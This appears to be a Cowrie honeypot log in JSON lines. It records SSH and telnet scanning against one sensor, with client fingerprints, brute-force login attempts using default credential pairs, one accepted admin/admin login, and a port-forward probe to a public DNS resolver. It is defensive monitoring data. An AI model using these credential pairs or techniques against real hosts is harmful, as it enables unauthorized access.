{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:37.685808Z","src_ip":"2.57.122.238","session":"99f52cdc98ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:37.791422Z","src_ip":"2.57.122.238","session":"99f52cdc98ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:38.108335Z","src_ip":"2.57.122.238","session":"99f52cdc98ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53710,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e495b2f6f1","protocol":"ssh","message":"New connection: 80.94.92.186:53710 (159.203.135.109:22) [session: 05e495b2f6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:39.108990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:39.177076Z","src_ip":"80.94.92.186","session":"05e495b2f6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:39.216619Z","src_ip":"2.57.122.238","session":"99f52cdc98ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:39.303150Z","src_ip":"80.94.92.186","session":"05e495b2f6f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:40.359807Z","src_ip":"80.94.92.186","session":"05e495b2f6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:41.597270Z","src_ip":"80.94.92.186","session":"05e495b2f6f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":26963,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1280ab664b0","protocol":"ssh","message":"New connection: 154.117.199.5:26963 (10.17.0.5:22) [session: e1280ab664b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:43.439193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:43.670192Z","src_ip":"154.117.199.5","session":"e1280ab664b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:43.903841Z","src_ip":"154.117.199.5","session":"e1280ab664b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45484,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d3edf9cfdf","protocol":"ssh","message":"New connection: 159.203.92.129:45484 (159.203.135.109:22) [session: 26d3edf9cfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:15.655317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:15.703152Z","src_ip":"159.203.92.129","session":"26d3edf9cfdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:15.764208Z","src_ip":"159.203.92.129","session":"26d3edf9cfdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Backup","password":"123456","message":"login attempt [Backup/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:15.891243Z","src_ip":"159.203.92.129","session":"26d3edf9cfdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:16.926800Z","src_ip":"159.203.92.129","session":"26d3edf9cfdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.10.202.157","src_port":33118,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1cf62a47b88","protocol":"ssh","message":"New connection: 111.10.202.157:33118 (159.203.135.109:22) [session: a1cf62a47b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:20.235014Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:20.518487Z","src_ip":"111.10.202.157","session":"a1cf62a47b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.178.165.51","src_port":49382,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb3954faa18","protocol":"telnet","message":"New connection: 24.178.165.51:49382 (159.203.135.109:23) [session: 3fb3954faa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:26.029934Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64784,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a4223dfa2dd","protocol":"ssh","message":"New connection: 87.251.64.176:64784 (10.17.0.5:22) [session: 4a4223dfa2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:41.660800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:41.666205Z","src_ip":"87.251.64.176","session":"4a4223dfa2dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:41.763211Z","src_ip":"87.251.64.176","session":"4a4223dfa2dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:42.051956Z","src_ip":"87.251.64.176","session":"4a4223dfa2dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:42.151261Z","session":"4a4223dfa2dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:42.253402Z","src_ip":"87.251.64.176","session":"4a4223dfa2dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:42.353052Z","src_ip":"87.251.64.176","session":"4a4223dfa2dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35538,"dst_ip":"159.203.135.109","dst_port":22,"session":"28317b75d285","protocol":"ssh","message":"New connection: 37.143.61.84:35538 (159.203.135.109:22) [session: 28317b75d285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:45.685350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:46.040827Z","src_ip":"37.143.61.84","session":"28317b75d285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:46.894728Z","src_ip":"37.143.61.84","session":"28317b75d285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe456","message":"login attempt [ubuntu/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:53.589072Z","src_ip":"37.143.61.84","session":"28317b75d285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:54.688900Z","src_ip":"37.143.61.84","session":"28317b75d285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34454,"dst_ip":"159.203.135.109","dst_port":22,"session":"b168d31c7920","protocol":"ssh","message":"New connection: 159.203.92.129:34454 (159.203.135.109:22) [session: b168d31c7920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:58.074584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:58.079657Z","src_ip":"159.203.92.129","session":"b168d31c7920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:58.085519Z","src_ip":"159.203.92.129","session":"b168d31c7920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Backup","password":"Backup","message":"login attempt [Backup/Backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:58.101999Z","src_ip":"159.203.92.129","session":"b168d31c7920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:40:59.108928Z","src_ip":"159.203.92.129","session":"b168d31c7920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52616,"dst_ip":"159.203.135.109","dst_port":22,"session":"4632ea174454","protocol":"ssh","message":"New connection: 159.203.92.129:52616 (159.203.135.109:22) [session: 4632ea174454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:42.473995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:42.478525Z","src_ip":"159.203.92.129","session":"4632ea174454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:42.482380Z","src_ip":"159.203.92.129","session":"4632ea174454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Backup","password":"Backup123","message":"login attempt [Backup/Backup123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:42.535602Z","src_ip":"159.203.92.129","session":"4632ea174454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:43.542832Z","src_ip":"159.203.92.129","session":"4632ea174454","protocol":"ssh"}
